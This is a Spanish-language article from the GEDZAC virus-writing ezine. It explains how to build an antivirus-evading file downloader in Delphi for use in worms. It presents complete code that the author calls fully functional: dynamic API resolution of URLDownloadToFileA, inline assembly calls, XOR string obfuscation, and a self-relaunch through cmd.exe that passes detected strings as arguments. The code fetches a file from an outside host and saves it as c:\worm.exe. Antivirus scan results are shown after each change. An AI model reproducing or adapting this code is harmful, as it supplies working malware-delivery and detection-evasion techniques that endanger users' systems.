#GEDZAC Mitosis eZine Issue 4
#MITOSIS ARTICLE#
#Downloader indetectable
#Autor: Pana_Infierno[GEDZAC] <pana_infierno@gedzac.com>
Hola a todos los seguidores de GEDZAC, bueno todos en algun momento necesitamos bajar un archivo desde Internet ya sea para un virus, worm o una aplicación normal, yo lo necesitaba para un worm y no pude usar solo porque habian muchos antivirus que me detectaban la rutina esta api URLDownloadToFile, por eso cree una rutina que me permite descargar un archivo de Internet pero sin ser detectado por ningun antivirus.
Vamos a escribir un pequeño fragmento de código en delphi declarando la función y la escanearemos:
program downloader_detectable;
function URLDownloadToFile(Caller: cardinal; URL: PChar;
FileName: PChar; Reserved: LongWord;
StatusCB: cardinal): Longword; stdcall;
external 'URLMON.DLL' name 'URLDownloadToFileA';
begin
end.
Al hacer un escaneo con todos los antivirus se obtiene el siguiente resultado:
CAT-QuickHeal |
Trojan.Agent.ipl |
Fortinet |
Win32/Dloader.BX!.tr |
VBA32 | Trojan.Win32.Dloader.Bx |
Bueno tan solo con declarar la función es detectada por algunos antivirus y eso no me gusta ahora usare la función y escaneare nuevamente.
program downloader_detectable;
function URLDownloadToFile(Caller: cardinal; URL: PChar;
FileName: PChar; Reserved: LongWord;
StatusCB: cardinal): Longword; stdcall;
external 'URLMON.DLL' name 'URLDownloadToFileA';
begin
URLDownloadToFile(0,pchar('http://www.gedzac.com/nadia.jpg'),pchar('c:\worm.exe'),0,0);
end.
Ahora mas antivirus detectan la bendita función que tanto nos sirve, entonces hay que solucionar esto.
AntiVir |
TR/Delphi.Downloader |
Fortinet |
Suspicious |
NOD32v2 | Probably unknown NewHeur_PE virus |
Panda | Suspicious |
VBA32 | Suspecte Of Win32.Trojan.Downloader |
No expondré las pruebas que realice para lograr no ser detectado pero planteare los métodos:
1.- encriptar cadenas
2.- encriptar las funciones
3.- llamar con otro método a la función contenida en la dll.
Bueno aca va el código 100% funcional llegar y compilar.
program download_indetectable;
var
URLDownloadToFile_:pointer;
type
FARPROC = Pointer;
HINST = type LongWord;
HMODULE = HINST;
LPCSTR = PAnsiChar;
function GetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
external 'kernel32.dll' name 'GetProcAddress';
function LoadLibraryA(lpLibFileName: PAnsiChar): HMODULE; stdcall;
external 'kernel32.dll' name 'LoadLibraryA';
function CopyFile(lpExistingFileName, lpNewFileName: PAnsiChar; bFailIfExists: longBool): LongBool; stdcall;
external 'kernel32.dll' name 'CopyFileA';
function WinExec(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'WinExec';
function GetAPI(dll:string;api:string):pointer;
var handle:integer;
res:pointer;
begin
handle := LoadLibraryA(pchar(dll));
res := GetProcAddress(Handle,Pchar(api));
result := res;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
Function E(Texto:string;Clave:integer):string;
var
Nuevo:string;
Largo,I:Integer;
begin
Largo := strLen(PChar(Texto));
For i := 1 to Largo do
begin
Nuevo := Nuevo + chr(ord(Texto[i]) xor Clave);
end;
E := Nuevo;
end;
procedure URLDownloadToFile(const url,archivo:string);
var a,b:pchar;
begin
a := Pchar(archivo);
b := Pchar(url);
asm
PUSH 0
PUSH 0
PUSH a
PUSH b
PUSH 0
Call URLDownloadToFile_
end;
end;
begin
URLDownloadToFile_ := GetApi('urlmon.dll','URLDownloadToFileA');
URLDownloadToFile('http://www.gedzac.com/nadia.jpg','c:\worm.exe');
end.
Ahora lo compilare y lo escaneare nuevamente:
:s algo paso ahora hay 2 antivirus que me detectan algo, “virus total es una trampa mortal”, este código antes de escanearlo ahí hace como un mes atrás era indetectable 100%
NOD32v2 | Probably unknown NewHeur_PE virus |
VBA32 | Suspecte Of Win32.Trojan.Downloader |
Esta claro el problema estoy verificando…, definitivamente ese par de antivirus que detectan el modulo, esta cadena de texto http://, el problema es que si saco esta cadena no puedo descargar el archivo. Bueno mientas desarrollaba este artículo me encontré con el problema de arriba, he probado varios métodos para eliminarlos pero me he encontrado con una gran sorpresa, comente todas las líneas de código y compile el programa asi quedo:
Fortines | Trojan.Agent.ipl |
VBA32 | Trojan Win32.Dloader.BX |
3 antivirus me detectan el archivo como virus :s, asi que seguiré exponiendo lo anterior.
Después de vario análisis he concluido en que los antivirus detectan estas cadenas ya estén encriptadas o no:
urlmon.dll
URLDownloadToFileA
http://
bueno como solucionamos esto si no hay forma aparente de saltarse esto porque siempre detectara la cadena porque algunos antivirus lo hacen en tiempo de ejecución una ves nuestro programa ya ha desencriptado las cadenas, la solución esta en abrir nuestro mismo programa pasándole las cadenas que el antivirus detecta como parámetros, usaremos esta fusión: paramstr(i)
asi que cambiaremos esta parte del código
begin
URLDownloadToFile_ := GetApi('urlmon.dll','URLDownloadToFileA');
URLDownloadToFile('http://www.gedzac.com/nadia.jpg','c:\worm.exe');
end.
por esta otra
begin
//P1:=' urlmon.dll';
//P2:=' URLDownloadToFileA';
//P3:=' http://www.gedzac.com/nadia.jpg';
P1:=e('*xfged$nff',10);
P2:=e('*_XFNe}dfekn^eLcfoK',10);
P3:=e('*b~~z0%%}}}$monpki$ieg%dknck$`zm',10);
if (paramstr(1) <> '') or (paramstr(2) <> '') or (paramstr(3) <> '') then
begin
URLDownloadToFile_ := GetApi(paramstr(1),paramstr(2));
URLDownloadToFile(paramstr(3),'c:\worm.exe');
end
else
begin
copyFile(pchar(paramstr(0)),pchar('c:\nuevo.exe'),true);
sleep(1000);
accion:='Cmd.exe /c c:\nuevo.exe '+ P1 + P2 + P3;
WinExec(pchar(accion),0);
end;
end.
Parámetro 1 = urlmon.dll
Parámetro 2 = URLDownloadToFileA
Parámetro 3 = http://www.gedzac.com/nadia.jpg
Despues de hacer esto ninguna heuristica de ningun antivirus detecto esto...:)
Saludos espero que les sea de ayuda.